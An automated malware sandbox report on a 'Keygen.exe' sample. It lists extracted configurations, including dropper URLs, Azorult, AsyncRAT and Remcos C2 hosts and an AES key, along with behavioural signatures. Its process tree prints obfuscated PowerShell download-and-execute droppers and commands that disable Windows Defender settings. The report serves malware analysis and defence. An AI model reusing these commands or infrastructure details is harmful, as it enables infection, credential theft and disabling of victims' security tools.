Analysis

  • max time kernel
    1802s
  • max time network
    1815s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    20-11-2020 14:34

Malware Config

Extracted

Language ps1
Source
URLs
ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language ps1
Source
URLs
ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language ps1
Source
URLs
ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language ps1
Source
URLs
ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language ps1
Source
URLs
ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language ps1
Source
URLs
ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Extracted

Family

raccoon

Botnet

5e4db353b88c002ba6466c06437973619aad03b3

Attributes
url4cnc
https://telete.in/brikitiki
rc4.plain
rc4.plain

Extracted

Family

azorult

C2

http://195.245.112.115/index.php

Extracted

Family

asyncrat

Version

0.5.7B

C2

agentttt.ac.ug:6970

agentpurple.ac.ug:6970

Attributes
aes_key
16dw6EDbQkYZp5BTs7cmLUicVtOA4UQr
anti_detection
false
autorun
false
bdos
false
delay
Default
host
agentttt.ac.ug,agentpurple.ac.ug
hwid
3
install_file
install_folder
%AppData%
mutex
AsyncMutex_6SI8OkPnk
pastebin_config
null
port
6970
version
0.5.7B
aes.plain

Extracted

Family

remcos

Version

2.7.2 Light

Botnet

xxxxxxxxxxx

C2

taenaia.ac.ug:6969

agentpapple.ac.ug:6969

Attributes
audio_folder
MicRecords
audio_path
%AppData%
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
install_path
%AppData%
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
keylog_path
%AppData%
mouse_option
false
mutex
cvxdsaxzcas-FPRVUD
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
Remcos
take_screenshot_option
false
take_screenshot_time
5
take_screenshot_title
wikipedia;solitaire;

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers.

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • Contains code to disable Windows Defender ⋅ 10 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Modifies Windows Defender Real-time Protection settings ⋅ 3 TTPs
  • Oski

    Oski is an infostealer targeting browser data, crypto wallets.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Raccoon Stealer Payload ⋅ 2 IoCs
  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Async RAT payload ⋅ 3 IoCs
  • ModiLoader First Stage ⋅ 2 IoCs
  • Blocklisted process makes network request ⋅ 6 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE ⋅ 34 IoCs
  • Loads dropped DLL ⋅ 18 IoCs
  • Reads user/profile data of local email clients ⋅ 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers ⋅ 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Windows security modification ⋅ 2 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting ⋅ 2 TTPs
  • Adds Run key to start application ⋅ 2 TTPs 1 IoCs
  • Checks installed software on the system ⋅ 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops desktop.ini file(s) ⋅ 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger ⋅ 6 IoCs
  • Suspicious use of SetThreadContext ⋅ 14 IoCs
  • Enumerates physical storage devices ⋅ 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry ⋅ 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe ⋅ 4 IoCs
  • Kills process with taskkill ⋅ 4 IoCs
  • Modifies registry class ⋅ 1 IoCs
  • Modifies system certificate store ⋅ 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses ⋅ 64 IoCs
  • Suspicious behavior: MapViewOfSection ⋅ 3 IoCs
  • Suspicious use of AdjustPrivilegeToken ⋅ 64 IoCs
  • Suspicious use of SetWindowsHookEx ⋅ 9 IoCs
  • Suspicious use of WriteProcessMemory ⋅ 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Keygen.exe
    "C:\Users\Admin\AppData\Local\Temp\Keygen.exe"
    Suspicious use of WriteProcessMemory
    PID:4704
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7361.tmp\start.bat" C:\Users\Admin\AppData\Local\Temp\Keygen.exe"
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:1840
      • C:\Users\Admin\AppData\Local\Temp\7361.tmp\Keygen.exe
        Keygen.exe
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        PID:724
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\7361.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        Suspicious use of WriteProcessMemory
        PID:3224
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
          Blocklisted process makes network request
          Suspicious behavior: EnumeratesProcesses
          Suspicious use of AdjustPrivilegeToken
          Suspicious use of WriteProcessMemory
          PID:500
          • C:\Users\Public\jui.exe
            "C:\Users\Public\jui.exe"
            Executes dropped EXE
            Suspicious use of SetThreadContext
            Suspicious behavior: MapViewOfSection
            Suspicious use of SetWindowsHookEx
            Suspicious use of WriteProcessMemory
            PID:4660
            • C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe
              "C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe"
              Executes dropped EXE
              Suspicious use of SetThreadContext
              Suspicious behavior: MapViewOfSection
              Suspicious use of SetWindowsHookEx
              PID:3740
              • C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe
                "C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe"
                Executes dropped EXE
                Suspicious use of NtSetInformationThreadHideFromDebugger
                PID:3180
            • C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe
              "C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe"
              Executes dropped EXE
              Suspicious use of SetThreadContext
              Suspicious behavior: MapViewOfSection
              Suspicious use of SetWindowsHookEx
              PID:3276
              • C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe
                "C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe"
                Executes dropped EXE
                Loads dropped DLL
                Suspicious use of NtSetInformationThreadHideFromDebugger
                Checks processor information in registry
                PID:3036
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c taskkill /pid 3036 & erase C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe & RD /S /Q C:\\ProgramData\\801620313514328\\* & exit
                  PID:4004
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /pid 3036
                    Kills process with taskkill
                    Suspicious use of AdjustPrivilegeToken
                    PID:1896
            • C:\Users\Public\jui.exe
              "C:\Users\Public\jui.exe"
              Executes dropped EXE
              Loads dropped DLL
              Drops desktop.ini file(s)
              Suspicious use of NtSetInformationThreadHideFromDebugger
              PID:3936
              • C:\Users\Admin\AppData\Local\Temp\y6eLz6oSft.exe
                "C:\Users\Admin\AppData\Local\Temp\y6eLz6oSft.exe"
                Executes dropped EXE
                Suspicious use of SetThreadContext
                Suspicious behavior: EnumeratesProcesses
                Suspicious use of AdjustPrivilegeToken
                PID:2488
                • C:\Users\Admin\AppData\Local\Temp\y6eLz6oSft.exe
                  "C:\Users\Admin\AppData\Local\Temp\y6eLz6oSft.exe"
                  Executes dropped EXE
                  PID:2304
                • C:\Users\Admin\AppData\Local\Temp\y6eLz6oSft.exe
                  "C:\Users\Admin\AppData\Local\Temp\y6eLz6oSft.exe"
                  Executes dropped EXE
                  PID:4436
              • C:\Users\Admin\AppData\Local\Temp\cnThYCQFnu.exe
                "C:\Users\Admin\AppData\Local\Temp\cnThYCQFnu.exe"
                Executes dropped EXE
                Adds Run key to start application
                Suspicious use of SetThreadContext
                Modifies system certificate store
                PID:4968
                • C:\Windows\SysWOW64\svchost.exe
                  "C:\Windows\System32\svchost.exe"
                  PID:6116
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c ""C:\Users\Public\AdShotso.bat" "
                    PID:4032
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c ""C:\Users\Public\AdShotso.bat" "
                    PID:6012
                • C:\Program Files (x86)\internet explorer\ieinstal.exe
                  "C:\Program Files (x86)\internet explorer\ieinstal.exe"
                  PID:5044
              • C:\Users\Admin\AppData\Local\Temp\kw3aCw7M67.exe
                "C:\Users\Admin\AppData\Local\Temp\kw3aCw7M67.exe"
                Executes dropped EXE
                Suspicious use of SetThreadContext
                Suspicious use of AdjustPrivilegeToken
                PID:3748
                • C:\Users\Admin\AppData\Local\Temp\kw3aCw7M67.exe
                  "C:\Users\Admin\AppData\Local\Temp\kw3aCw7M67.exe"
                  Executes dropped EXE
                  Suspicious behavior: EnumeratesProcesses
                  Suspicious use of AdjustPrivilegeToken
                  Suspicious use of SetWindowsHookEx
                  PID:4076
                  • \??\c:\windows\SysWOW64\cmstp.exe
                    "c:\windows\system32\cmstp.exe" /au C:\Windows\temp\fptkpzoo.inf
                    PID:1564
              • C:\Users\Admin\AppData\Local\Temp\YbZiyFsdYL.exe
                "C:\Users\Admin\AppData\Local\Temp\YbZiyFsdYL.exe"
                Executes dropped EXE
                Suspicious use of SetThreadContext
                PID:2808
                • C:\Users\Admin\AppData\Local\Temp\YbZiyFsdYL.exe
                  "C:\Users\Admin\AppData\Local\Temp\YbZiyFsdYL.exe"
                  Executes dropped EXE
                  Windows security modification
                  PID:5420
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    "powershell" Get-MpPreference -verbose
                    PID:5532
              • C:\Windows\SysWOW64\cmd.exe
                cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Public\jui.exe"
                PID:3444
                • C:\Windows\SysWOW64\timeout.exe
                  timeout /T 10 /NOBREAK
                  Delays execution with timeout.exe
                  PID:1076
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\7361.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        Suspicious use of WriteProcessMemory
        PID:4208
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
          Suspicious behavior: EnumeratesProcesses
          Suspicious use of AdjustPrivilegeToken
          PID:564
      • C:\Windows\SysWOW64\timeout.exe
        timeout 1
        Delays execution with timeout.exe
        PID:3812
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\7361.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        Suspicious use of WriteProcessMemory
        PID:4344
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
          Blocklisted process makes network request
          Suspicious behavior: EnumeratesProcesses
          Suspicious use of AdjustPrivilegeToken
          Suspicious use of WriteProcessMemory
          PID:4520
          • C:\Users\Public\odx.exe
            "C:\Users\Public\odx.exe"
            Executes dropped EXE
            Suspicious use of SetThreadContext
            PID:3964
            • C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe
              "C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe"
              Executes dropped EXE
              Suspicious use of SetThreadContext
              PID:5828
              • C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe
                "C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe"
                Executes dropped EXE
                Suspicious use of SetThreadContext
                PID:5400
                • C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe
                  "{path}"
                  Executes dropped EXE
                  Loads dropped DLL
                  Checks processor information in registry
                  PID:4380
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c taskkill /pid 4380 & erase C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe & RD /S /Q C:\\ProgramData\\319487703982083\\* & exit
                    PID:480
                    • C:\Windows\SysWOW64\taskkill.exe
                      taskkill /pid 4380
                      Kills process with taskkill
                      PID:3532
              • C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe
                "{path}"
                Executes dropped EXE
                PID:3500
              • C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe
                "{path}"
                Executes dropped EXE
                PID:1804
            • C:\Users\Public\odx.exe
              "{path}"
              Executes dropped EXE
              Loads dropped DLL
              Drops desktop.ini file(s)
              PID:5840
              • C:\Users\Admin\AppData\Local\Temp\WxzzZNQHI3.exe
                "C:\Users\Admin\AppData\Local\Temp\WxzzZNQHI3.exe"
                Executes dropped EXE
                Suspicious use of SetThreadContext
                PID:2568
                • C:\Users\Admin\AppData\Local\Temp\WxzzZNQHI3.exe
                  "C:\Users\Admin\AppData\Local\Temp\WxzzZNQHI3.exe"
                  Executes dropped EXE
                  PID:2800
              • C:\Users\Admin\AppData\Local\Temp\cLK6vDADey.exe
                "C:\Users\Admin\AppData\Local\Temp\cLK6vDADey.exe"
                Executes dropped EXE
                Suspicious use of SetThreadContext
                PID:2528
                • C:\Program Files (x86)\internet explorer\ieinstal.exe
                  "C:\Program Files (x86)\internet explorer\ieinstal.exe"
                  PID:3560
              • C:\Users\Admin\AppData\Local\Temp\UrXJ4xouC3.exe
                "C:\Users\Admin\AppData\Local\Temp\UrXJ4xouC3.exe"
                Executes dropped EXE
                Suspicious use of SetThreadContext
                PID:5804
                • C:\Users\Admin\AppData\Local\Temp\UrXJ4xouC3.exe
                  "C:\Users\Admin\AppData\Local\Temp\UrXJ4xouC3.exe"
                  Executes dropped EXE
                  PID:1324
                • C:\Users\Admin\AppData\Local\Temp\UrXJ4xouC3.exe
                  "C:\Users\Admin\AppData\Local\Temp\UrXJ4xouC3.exe"
                  Executes dropped EXE
                  Suspicious use of SetWindowsHookEx
                  PID:5232
                  • \??\c:\windows\SysWOW64\cmstp.exe
                    "c:\windows\system32\cmstp.exe" /au C:\Windows\temp\a0p14iod.inf
                    PID:5168
              • C:\Users\Admin\AppData\Local\Temp\ZSZAUJV5RA.exe
                "C:\Users\Admin\AppData\Local\Temp\ZSZAUJV5RA.exe"
                Executes dropped EXE
                Suspicious use of SetThreadContext
                PID:5284
                • C:\Users\Admin\AppData\Local\Temp\ZSZAUJV5RA.exe
                  "C:\Users\Admin\AppData\Local\Temp\ZSZAUJV5RA.exe"
                  Executes dropped EXE
                  PID:5172
                • C:\Users\Admin\AppData\Local\Temp\ZSZAUJV5RA.exe
                  "C:\Users\Admin\AppData\Local\Temp\ZSZAUJV5RA.exe"
                  Executes dropped EXE
                  Windows security modification
                  PID:5768
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    "powershell" Get-MpPreference -verbose
                    PID:5244
              • C:\Windows\SysWOW64\cmd.exe
                cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Public\odx.exe"
                PID:908
                • C:\Windows\SysWOW64\timeout.exe
                  timeout /T 10 /NOBREAK
                  Delays execution with timeout.exe
                  PID:3856
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\7361.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        Suspicious use of WriteProcessMemory
        PID:1764
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
          Suspicious behavior: EnumeratesProcesses
          Suspicious use of AdjustPrivilegeToken
          PID:1064
      • C:\Windows\SysWOW64\timeout.exe
        timeout 2
        Delays execution with timeout.exe
        PID:1180
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\7361.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        Suspicious use of WriteProcessMemory
        PID:2308
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
          Blocklisted process makes network request
          Suspicious behavior: EnumeratesProcesses
          Suspicious use of AdjustPrivilegeToken
          Suspicious use of WriteProcessMemory
          PID:4604
          • C:\Users\Public\jev.exe
            "C:\Users\Public\jev.exe"
            Executes dropped EXE
            Suspicious use of SetWindowsHookEx
            PID:4564
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\7361.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        Suspicious use of WriteProcessMemory
        PID:1388
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
          Suspicious behavior: EnumeratesProcesses
          Suspicious use of AdjustPrivilegeToken
          PID:1044
  • C:\Windows\SysWOW64\DllHost.exe
    C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
    PID:2916
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c start C:\Windows\temp\f1xl0ksx.exe
      PID:4512
      • C:\Windows\temp\f1xl0ksx.exe
        C:\Windows\temp\f1xl0ksx.exe
        Executes dropped EXE
        PID:428
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" Get-MpPreference -verbose
          Suspicious use of AdjustPrivilegeToken
          PID:4728
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
          Suspicious use of AdjustPrivilegeToken
          PID:2348
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
          Suspicious use of AdjustPrivilegeToken
          PID:4752
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
